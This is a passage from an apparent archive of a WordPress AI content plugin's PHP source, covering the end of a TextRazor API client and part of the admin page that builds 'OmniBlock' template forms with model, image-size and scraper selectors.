$dictionaryId . '/' . $entryId, 'DELETE'); } } class ClassifierManager extends TextRazorConnection { public function __construct($apiKey = null) { parent::__construct($apiKey); } public function createClassifier($classifierID, $categories) { if ( ! is_string($classifierID)) { throw new Exception('TextRazor Error: Classifiers must have an ID.'); } if ( ! is_array($categories)) { throw new Exception('TextRazor Error: $categories must be a List of dicts corresponding to properties of the new Category objects.'); } if (empty($categories)) { throw new Exception('TextRazor Error: Array of new categories cannot be empty.'); } return $this->sendRequest(json_encode($categories), '/categories/' . $classifierID, 'PUT', 'application/json'); } public function createClassifierWithCSV($classifierID, $categoriesCSV) { if ( ! is_string($classifierID)) { throw new Exception('TextRazor Error: Classifiers must have an ID.'); } if ( ! is_string($categoriesCSV)) { throw new Exception('TextRazor Error: $categoriesCSV must be a String containing the contents of a csv file that defines a new classifier.'); } return $this->sendRequest($categoriesCSV, '/categories/' . $classifierID, 'PUT', 'application/csv'); } public function deleteClassifier($classifierID) { return $this->sendRequest('', '/categories/' . $classifierID, 'DELETE'); } public function allCategories($classifierID, $limit = null, $offset = null) { if ( ! is_string($classifierID)) { throw new Exception('TextRazor Error: Classifiers must have an ID.'); } $urlParams = []; if (isset($limit)) { $urlParams['limit'] = $limit; } if (isset($offset)) { $urlParams['offset'] = $offset; } return $this->sendRequest('', '/categories/' . $classifierID . '/_all?' . http_build_query($urlParams), 'GET'); } public function deleteCategory($classifierID, $categoryID) { return $this->sendRequest('', '/categories/' . $classifierID . '/' . $categoryID, 'DELETE'); } public function getCategory($classifierID, $categoryID) { return $this->sendRequest('', '/categories/' . $classifierID . '/' . $categoryID, 'GET'); } } class AccountManager extends TextRazorConnection { public function __construct($apiKey = null) { parent::__construct($apiKey); } public function getAccount() { return $this->sendRequest('', '/account/', 'GET'); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/aiomatic-automation-list.php��������������������������������������������������������������������0000644�����������������00001725374�14757771437�0013034 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php function aiomatic_omniblocks() { require_once (dirname(__FILE__) . "/aiomatic-languages.php"); $cont = 0; $temp_list = array(); $args = array( 'post_type' => 'aiomatic_omni_temp', 'posts_per_page' => -1, ); $the_query = new WP_Query( $args ); if ( $the_query->have_posts() ) { while ( $the_query->have_posts() ) { $the_query->the_post(); $temp_list[get_the_ID()] = get_the_title(); } } wp_reset_postdata(); $terms = get_terms([ 'taxonomy' => 'ai_template_categories', 'hide_empty' => false, ]); $aiomatic_tax_names = array(); foreach ($terms as $term) { $aiomatic_tax_names[] = $term->slug; } $default_cards = aiomatic_omniblocks_default_cards(); $default_block_types = aiomatic_omniblocks_default_block_types(); $all_models = aiomatic_get_all_models(true); $all_models_function = aiomatic_get_all_models_function(); $all_assistants = aiomatic_get_all_assistants(true); $all_dalle_models = aiomatic_get_dalle_image_models(); $all_stable_models = aiomatic_get_stable_image_models(); $all_formats = ['post-format-standard' => 'Standard', 'post-format-aside' => 'Aside', 'post-format-gallery' => 'Gallery', 'post-format-link' => 'Link', 'post-format-image' => 'Image', 'post-format-quote' => 'Quote', 'post-format-status' => 'Status', 'post-format-video' => 'Video', 'post-format-audio' => 'Audio', 'post-format-chat' => 'Chat']; $all_dalle_sizes = ['256x256' => '256x256', '512x512' => '512x512', '1024x1024' => '1024x1024', '1024x1792' => '1024x1792 (only for Dall-E 3)', '1792x1024' => '1792x1024 (only for Dall-E 3)']; $all_stable_sizes = ['512x512' => '512x512', '1024x1024' => '1024x1024']; $all_midjourney_sizes = ['512x512' => '512x512', '1024x1024' => '1024x1024', '1792x1024' => '1792x1024', '1024x1792' => '1024x1792']; $all_stable_video_sizes = ['768x768' => '768x768', '1024x576' => '1024x576', '576x1024' => '576x1024']; $all_scraper_types = ['auto' => 'Auto Detect', 'visual' => 'Visual Selector', 'id' => 'ID', 'class' => 'Class', 'xpath' => 'XPath/CSS Selector', 'regex' => 'Regex - First Match', 'regexall' => 'Regex - All Matches', 'raw' => 'Full HTML']; $all_rules = get_option('aiomatic_omni_list', array()); if($all_rules === false) { $all_rules = array(); } $rules_count = count($all_rules); $rules_per_page = get_option('aiomatic_posts_per_page', 12); $max_pages = ceil($rules_count/$rules_per_page); if($max_pages == 0) { $max_pages = 1; } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { ?> <h1><?php echo esc_html__("You must add an OpenAI/AiomaticAPI API Key into the plugin's 'Settings' menu before you can use this feature!", 'aiomatic-automatic-ai-content-writer');?></h1> <?php return; } if (isset($aiomatic_Main_Settings['deepl_auth'])) { $deepl_auth = $aiomatic_Main_Settings['deepl_auth']; } else { $deepl_auth = ''; } if (isset($aiomatic_Main_Settings['bing_auth'])) { $bing_auth = $aiomatic_Main_Settings['bing_auth']; } else { $bing_auth = ''; } ?> <div class="wp-header-end"></div> <?php $max_execution = ini_get('max_execution_time'); if($max_execution != 0 && $max_execution < 1000) { ?> <div class="notice notice-error"> <p class="cr_red"> <?php echo sprintf( wp_kses( __( "Warning! Your PHP INI max_execution_time is less than 1000 seconds (%s). This means that the plugin's execution will be forcefully stopped by your server after this amount of seconds. Please increase it to ensure that the plugin functions properly. Please check details on server settings, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), esc_html($max_execution), esc_url_raw( get_admin_url() . 'admin.php?page=aiomatic_logs#tab-2' ) );?> </p> </div> <?php } ?> <div class="wrap gs_popuptype_holder seo_pops"> <h2 class="cr_center"><?php echo esc_html__("AI OmniBlocks", 'aiomatic-automatic-ai-content-writer');?></h2> </div> <nav class="nav-tab-wrapper"> <a href="#tab-0" class="nav-tab"><?php echo esc_html__("Tutorial", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-1" class="nav-tab"><?php echo esc_html__("OmniBlock Rule Manager", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-3" class="nav-tab"><?php echo esc_html__("OmniBlock Template Manager", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-2" class="nav-tab"><?php echo esc_html__("OmniBlock Types", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-4" class="nav-tab"><?php echo esc_html__("OmniBlock Files", 'aiomatic-automatic-ai-content-writer');?></a> </nav> <div id="mymodalfzr_edit" class="codemodalfzr"> <div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_close_edit" class="codeclosefzr">×</span> <h2><span class="cr_color_white"><?php echo esc_html__("Edit OmniBlock Template", 'aiomatic-automatic-ai-content-writer');?></span></h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <table id="ai-editor-div" class="aiomatic-automation responsive table cr_main_table_nowr cr_center"> <tr><td> <br/> <div id="my-loading-indicator"> <?php echo esc_html__("Loading...", 'aiomatic-automatic-ai-content-writer');?> </div> </td></tr> </table> </div> </div> </div> </div> <div id="mymodalfzr_run" class="codemodalfzr"> <div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_close_run" class="codeclosefzr">×</span> <h2><span class="cr_color_white"><?php echo esc_html__("Run OmniBlock", 'aiomatic-automatic-ai-content-writer');?></span></h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <table id="ai-runner-div" class="aiomatic-automation responsive table cr_main_table_nowr cr_center"> <tr><td> <br/> <div id="my-loading-indicator-run"> <?php echo esc_html__("Loading...", 'aiomatic-automatic-ai-content-writer');?> </div> </td></tr> </table> </div> </div> </div> </div> <div id="mymodalfzr_new" class="codemodalfzr"> <div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_close_new" class="codeclosefzr">×</span> <h2><span class="cr_color_white"><?php echo esc_html__("Add A New OmniBlock Template", 'aiomatic-automatic-ai-content-writer');?></span></h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <br/> <div class="aiomatic-loader-bubble"> <div class="codemodalauto-body"> <div class="table-responsive"> <table class="aiomatic-automation responsive table cr_main_table_nowr cr_center"> <tr> <td class="ai-flex"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px disable_drag"> <?php echo esc_html__("Set the name of the OmniBlock template to save.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("OmniBlock Template Title:", 'aiomatic-automatic-ai-content-writer');?></b></div> </td> <td> <input type="text" id="omni_template_new" class="cr_width_full" name="omni_template_new" value="" placeholder="New OmniBlock Template Title"> </td> </tr> <tr> <td class="ai-flex"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px disable_drag"> <?php echo esc_html__("Set the category of the OmniBlock template to save. You can add multiple categories, separated by ;", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("OmniBlock Template Category:", 'aiomatic-automatic-ai-content-writer');?></b></div> </td> <td> <input type="text" id="omni_template_cat_new" class="cr_width_full" list="new_cats" name="omni_template_cat_new" value="" placeholder="New OmniBlock Template Category"> <datalist id="new_cats"> <?php foreach($aiomatic_tax_names as $ln) { echo '<option>' . $ln . '</option>'; } ?> </datalist> </td> </tr> <tr><td colspan="2"> <div><button id="ai-save-omni-template" class="button"><?php echo esc_html__("Save OmniBlock Template", 'aiomatic-automatic-ai-content-writer');?></button></div> </td></tr> <tr> <tr><td colspan="2"> <div class="aiseparator aistart"><b><?php echo esc_html__("OmniBlock Queue Starts Here", 'aiomatic-automatic-ai-content-writer');?></b></div> </td></tr> <tr> <td colspan="2"> <input type="hidden" id="sortable_cards_new" class="cr_width_full" name="aiomatic_omni_list_new" value="<?php echo htmlspecialchars(json_encode($default_cards));?>"> <ul id="aiomatic_sortable_cards_new" name="aiomatic_sortable_cards_new"> <?php $global_index = '1'; if(empty($default_block_types)) { echo esc_html__('No AI OmniBlock Types Added To This Rule', 'aiomatic-automatic-ai-content-writer'); } else { $exec = 1; $shortcodes_arr = array('%%keyword%%'); foreach ($default_cards as $card_id) { if(!empty($card_id['type'])) { $assistant_helper = uniqid(); $urlrandval = uniqid(); $global_index = $card_id['identifier']; $card_type_found = array(); foreach($default_block_types as $def_card) { if($card_id['type'] == $def_card['id']) { $card_type_found = $def_card; break; } } if(empty($card_type_found)) { aiomatic_log_to_file('Warning! OmniBlock type not found for: ' . print_r($card_id, true)); } else { $local_shortcodes = array(); foreach($card_type_found['shortcodes'] as $shtc) { $local_shortcodes[] = '%%' . $shtc . $card_id['identifier'] . '%%'; } $plugin_required = array(); if(!empty($card_type_found['required_plugin'])) { foreach($card_type_found['required_plugin'] as $pslug => $pname) { if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if (!is_plugin_active($pslug)) { $plugin_required[] = 'You need enable the "' . $pname[0] . '" plugin for this OmniBlock type to work: ' . $pname[1]; } } } echo '<li data-id-str="" class="omniblock-card"><input data-clone-index="xc' . uniqid() . '" class="cr_center aiomatic-bold aiomatic-indigo omniblock-title" card-type="' . esc_html($card_type_found['id']) . '" type="text" placeholder="' . esc_html__('OmniBlock Title', 'aiomatic-automatic-ai-content-writer') . '" title="' . esc_html__('OmniBlock Title', 'aiomatic-automatic-ai-content-writer') . '" value="' . esc_attr($card_id['name']) . '"> <input type="hidden" class="omniblock-id" card-type="' . esc_html($card_type_found['id']) . '" value="' . esc_attr($card_id['identifier']) . '"> <input type="hidden" class="omniblock-shortcodes" card-type="' . esc_html($card_type_found['id']) . '" value="' . esc_attr(implode(',', $local_shortcodes)) . '">'; if($card_type_found['id'] == 'text_spinner') { if (!isset($aiomatic_Main_Settings['spin_text']) || $aiomatic_Main_Settings['spin_text'] === 'disabled') { $plugin_required[] = 'Spinning disabled from \'Settings\' -> \'Bulk Posts\' tab -> \'Spin Text Using Word Synonyms\' settings field, this OmniBlock will not function'; } if (isset($aiomatic_Main_Settings['spin_what']) && $aiomatic_Main_Settings['spin_what'] === 'bulk') { $plugin_required[] = 'Spinning disabled for OmniBlocks, from plugin\'s \'Settings\' menu -> \'Bulk Posts\' tab -> \'Enable Spinner For\' settings field, this OmniBlock will not function'; } } elseif($card_type_found['id'] == 'embeddings') { if ((!isset($aiomatic_Main_Settings['pinecone_app_id']) || trim($aiomatic_Main_Settings['pinecone_app_id']) == '') && (!isset($aiomatic_Main_Settings['qdrant_app_id']) || trim($aiomatic_Main_Settings['qdrant_app_id']) == '')) { $plugin_required[] = 'You must add an OpenAI/AiomaticAPI API Key into the plugin\'s \'Settings\' menu before you can use this feature!'; } if ((!isset($aiomatic_Main_Settings['pinecone_index']) || trim($aiomatic_Main_Settings['pinecone_index']) == '') && (!isset($aiomatic_Main_Settings['qdrant_index']) || trim($aiomatic_Main_Settings['qdrant_index']) == '')) { $plugin_required[] = 'You must add a Pinecone API or a Qdrant API key in the plugin\'s \'Settings\' menu (API Keys tab), before you can use this feature!'; } } foreach($card_id['parameters'] as $name => $orig_text) { if(isset($card_type_found['parameters'][$name]) && isset($card_type_found['parameters'][$name]['type']) && ($card_type_found['parameters'][$name]['type'] == 'text' || $card_type_found['parameters'][$name]['type'] == 'textarea' || $card_type_found['parameters'][$name]['type'] == 'url' || $card_type_found['parameters'][$name]['type'] == 'scraper_string')) { foreach($shortcodes_arr as $sha) { $orig_text = str_replace($sha, '', $orig_text); } $incorrect_sh = array(); foreach($default_block_types as $cardt) { foreach($cardt['shortcodes'] as $shc) { preg_match_all('~(%%' . $shc . '[a-zA-Z0-9]*?%%)~', $orig_text, $submatches); if(isset($submatches[1][0])) { foreach($submatches[1] as $incsh) { $incorrect_sh[] = $incsh; } } } } if(!empty($incorrect_sh)) { $plugin_required[] = 'This block has some incorrect shortcodes: ' . implode(',', $incorrect_sh); } } } if(!empty($plugin_required)) { echo '<p class="requirement cr_red"><ul class="requirement cr_red">'; foreach($plugin_required as $pr) { echo '<li>' . $pr . '</li>'; } echo '</ul></p>'; } echo '<div class="card-name'; if($card_type_found['type'] == 'save') { echo ' aisave-content'; } else { echo ' aicreate-content'; } echo '">' . esc_html__('OmniBlock Type:', 'aiomatic-automatic-ai-content-writer') . ' <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"><div class="bws_hidden_help_text cr_min_260px disable_drag">' . esc_html__('Created shortcodes by this OmniBlock (usable in OmniBlocks from below this one): ', 'aiomatic-automatic-ai-content-writer'); echo '<ul>'; foreach($card_type_found['shortcodes'] as $shtc) { echo '<li>%%' . $shtc . $card_id['identifier'] . '%%</li>'; } echo '</ul>'; if (isset($aiomatic_Main_Settings['omni_webhook']) && trim($aiomatic_Main_Settings['omni_webhook']) == 'on') { $rest_url = rest_url('omniblock/v1/webhook'); if(isset($card_id['parameters']['api_key']) && !empty(trim($card_id['parameters']['api_key']))) { $rest_url = add_query_arg('apikey', trim($card_id['parameters']['api_key']), $rest_url); } $rest_url = add_query_arg('omniblockid', trim($cont) . '_' . trim($card_id['identifier']), $rest_url); $rest_url = add_query_arg('input', urlencode('Webhooks in WordPress'), $rest_url); $card_type_found['description'] = str_replace('%%webhook_url%%', '<br/><span class="cr_red disable_drag">' . $rest_url . '</span>', $card_type_found['description']); } else { $card_type_found['description'] = str_replace('%%webhook_url%%', '<span class="cr_red">' . esc_html__('OmniBlock Webhook functionality not enabled in \'Settings\' menu of the plugin!' , 'aiomatic-automatic-ai-content-writer') . '</span>', $card_type_found['description']); } echo '</div></div> ' . esc_attr($card_type_found['name']) . '</div><p class="card-desc">' . $card_type_found['description'] . '</p><div class="ai-collapsible-holder"><button class="aicollapsible" title="' . esc_html__('Show/Hide Parameters', 'aiomatic-automatic-ai-content-writer') . '"><img class="controls-icon" src="' . plugin_dir_url( __FILE__ ) . '../images/controls.png' . '"></button></div><div class="aicollapsible-parameters">'; echo '<h3>' . esc_html__('OmniBlock Parameters', 'aiomatic-automatic-ai-content-writer') . ' <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"><div class="bws_hidden_help_text cr_min_260px disable_drag">' . esc_html__('Set the parameters which will be used in this OmniBlock.', 'aiomatic-automatic-ai-content-writer') . '</div></div></h3><hr/>'; foreach($card_type_found['parameters'] as $name => $card_type) { echo '<h4>' . esc_html($card_type['title']) . ': <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"><div class="bws_hidden_help_text cr_min_260px disable_drag">' . esc_html($card_type['description']) . '</div></div></h4>'; if($card_type['type'] == 'text') { $randval = uniqid(); $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<div class="main-holder-short" data-id-str="xai' . $randval . '">'; echo '<input type="text" class="' . esc_attr($name) . ' cr_width_full" value="' . esc_html($value) . '" data-clone-index="xc' . uniqid() . '" id="xai' . $randval . '" placeholder="' . esc_html($card_type['placeholder']) . '">'; if(count($shortcodes_arr) > 0) { echo '<div class="shortcode-list" data-id-str="xai' . $randval . '">'; } foreach($shortcodes_arr as $myshort) { $my_id = explode('_', $myshort); $my_id = end($my_id); $my_id = substr($my_id, 0, -2); echo '<p class="aishortcodes" data-index="" data-id-str="xai' . $randval . '" title="' . esc_html__('Shortcode created by OmniBlock ID: ', 'aiomatic-automatic-ai-content-writer') . $my_id . '">'; echo $myshort; echo '</p>'; } if(count($shortcodes_arr) > 0) { echo '</div>'; } echo '</div>'; } elseif($card_type['type'] == 'textarea') { $randval = uniqid(); $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<div class="main-holder-short" data-id-str="xai' . $randval . '">'; echo '<textarea class="' . esc_attr($name) . ' cr_width_full" id="xai' . $randval . '" data-clone-index="xc' . uniqid() . '" placeholder="' . esc_html($card_type['placeholder']) . '">' . esc_textarea($value) . '</textarea>'; if(count($shortcodes_arr) > 0) { echo '<div class="shortcode-list" data-id-str="xai' . $randval . '">'; } foreach($shortcodes_arr as $myshort) { $my_id = explode('_', $myshort); $my_id = end($my_id); $my_id = substr($my_id, 0, -2); echo '<p class="aishortcodes" data-index="" data-id-str="xai' . $randval . '" title="' . esc_html__('Shortcode created by OmniBlock ID: ', 'aiomatic-automatic-ai-content-writer') . $my_id . '">'; echo $myshort; echo '</p>'; } if($def_card['id'] == 'ai_text_foreach' && $name == 'prompt') { echo '<p class="aishortcodes" data-index="" data-id-str="xai' . $randval . '" title="' . esc_html__('Shortcode created by OmniBlock ID: ', 'aiomatic-automatic-ai-content-writer') . $my_id . '">'; echo '%%current_input_line%%'; echo '</p>'; echo '<p class="aishortcodes" data-index="" data-id-str="xai' . $randval . '" title="' . esc_html__('Shortcode created by OmniBlock ID: ', 'aiomatic-automatic-ai-content-writer') . $my_id . '">'; echo '%%current_input_line_counter%%'; echo '</p>'; echo '<p class="aishortcodes" data-index="" data-id-str="xai' . $randval . '" title="' . esc_html__('Shortcode created by OmniBlock ID: ', 'aiomatic-automatic-ai-content-writer') . $my_id . '">'; echo '%%all_input_lines%%'; echo '</p>'; } if(count($shortcodes_arr) > 0) { echo '</div>'; } echo '</div>'; } elseif($card_type['type'] == 'model_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" id="xa' . $assistant_helper . '" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_models as $modelx) { echo '<option value="' . esc_attr($modelx) .'"'; if($value == $modelx) { echo ' selected'; } echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'model_select_function') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" id="xa' . $assistant_helper . '" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_models_function as $modelx) { echo '<option value="' . esc_attr($modelx) .'"'; if($value == $modelx) { echo ' selected'; } echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'assistant_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" id="sel_xa' . $assistant_helper . '" data-clone-index="xc' . uniqid() . '" onchange="assistantChanged(\'xa' . $assistant_helper . '\');" class="' . esc_attr($name) . ' cr_width_full">'; if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value=""'; if($value == '') { echo ' selected'; } echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . esc_attr($myassistant->ID) .'"'; if($value == $myassistant->ID) { echo ' selected'; } echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } echo '</select>'; } elseif($card_type['type'] == 'dalle_image_size_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_dalle_sizes as $sizeid => $sizex) { echo '<option value="' . esc_attr($sizeid) .'"'; if($value == $sizeid) { echo ' selected'; } echo '>' . esc_html($sizex) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'stable_image_size_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_stable_sizes as $sizeid => $sizex) { echo '<option value="' . esc_attr($sizeid) .'"'; if($value == $sizeid) { echo ' selected'; } echo '>' . esc_html($sizex) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'midjourney_image_size_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_midjourney_sizes as $sizeid => $sizex) { echo '<option value="' . esc_attr($sizeid) .'"'; if($value == $sizeid) { echo ' selected'; } echo '>' . esc_html($sizex) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'stable_video_size_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_stable_video_sizes as $sizeid => $sizex) { echo '<option value="' . esc_attr($sizeid) .'"'; if($value == $sizeid) { echo ' selected'; } echo '>' . esc_html($sizex) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'scraper_type') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="scraper_selector ' . esc_attr($name) . ' cr_width_full" data-id-str="" data-source-field-id="ur' . $urlrandval . '" data-target-field-id="' . $assistant_helper . '">'; foreach($all_scraper_types as $index => $modelx) { echo '<option value="' . esc_attr($index) .'"'; if($value == $index) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'scraper_string') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<input type="text" data-clone-index="xc' . uniqid() . '" id="st' . $assistant_helper . '" class="' . esc_attr($name) . ' cr_width_full" value="' . esc_html($value) . '" placeholder="' . esc_html($card_type['placeholder']) . '">'; } elseif($card_type['type'] == 'number') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<input type="number" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full" value="' . esc_html($value) . '" placeholder="' . esc_html($card_type['placeholder']) . '">'; } elseif($card_type['type'] == 'checkbox') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; echo '<option value="0"'; if($value == '0') { echo ' selected'; } echo '>' . esc_html__("No", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option value="1"'; if($value == '1') { echo ' selected'; } echo '>' . esc_html__("Yes", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '</select>'; } elseif($card_type['type'] == 'dalle_image_model_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_dalle_models as $modelx) { echo '<option value="' . esc_attr($modelx) .'"'; if($value == $modelx) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'stable_image_model_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_stable_models as $modelx) { echo '<option value="' . esc_attr($modelx) .'"'; if($value == $modelx) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'status_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; echo '<option value="publish"'; if($value == "publish") { echo ' selected'; } echo '>' . esc_html__("Published", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="pending"'; if($value == "pending") { echo ' selected'; } echo '>' . esc_html__("Pending -> Moderate", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="draft"'; if($value == "draft") { echo ' selected'; } echo '>' . esc_html__("Draft -> Moderate", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="private"'; if($value == "private") { echo ' selected'; } echo '>' . esc_html__("Private", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="trash"'; if($value == "trash") { echo ' selected'; } echo '>' . esc_html__("Trash", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '</select>'; } elseif($card_type['type'] == 'type_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach(get_post_types( '', 'names' ) as $modelx) { if(strstr($modelx, 'aiomatic_')) { continue; } echo '<option value="' . esc_attr($modelx) .'"'; if($value == $modelx) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'amazon_country_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach(aiomatic_get_amazon_codes() as $key => $modelx) { echo '<option value="' . esc_attr($key) .'"'; if($value == $key) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'amazon_sort_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach(aiomatic_get_amazon_sorts() as $key => $modelx) { echo '<option value="' . esc_attr($key) .'"'; if($value == $key) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'yt_community_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $community_types = array('text' => 'Text', 'image' => 'Image'); echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($community_types as $key => $modelx) { echo '<option value="' . esc_attr($key) .'"'; if($value == $key) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'reddit_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $community_types = array('auto' => 'Auto', 'link' => 'Link', 'self' => 'Text', 'image' => 'Image', 'video' => 'Video'); echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($community_types as $key => $modelx) { echo '<option value="' . esc_attr($key) .'"'; if($value == $key) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'method_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $community_types = array('POST' => 'POST', 'GET' => 'GET', 'PUT' => 'PUT', 'DELETE' => 'DELETE'); echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($community_types as $key => $modelx) { echo '<option value="' . esc_attr($key) .'"'; if($value == $key) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'content_type_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $community_types = array('JSON' => 'JSON', 'form' => 'Form Data'); echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . 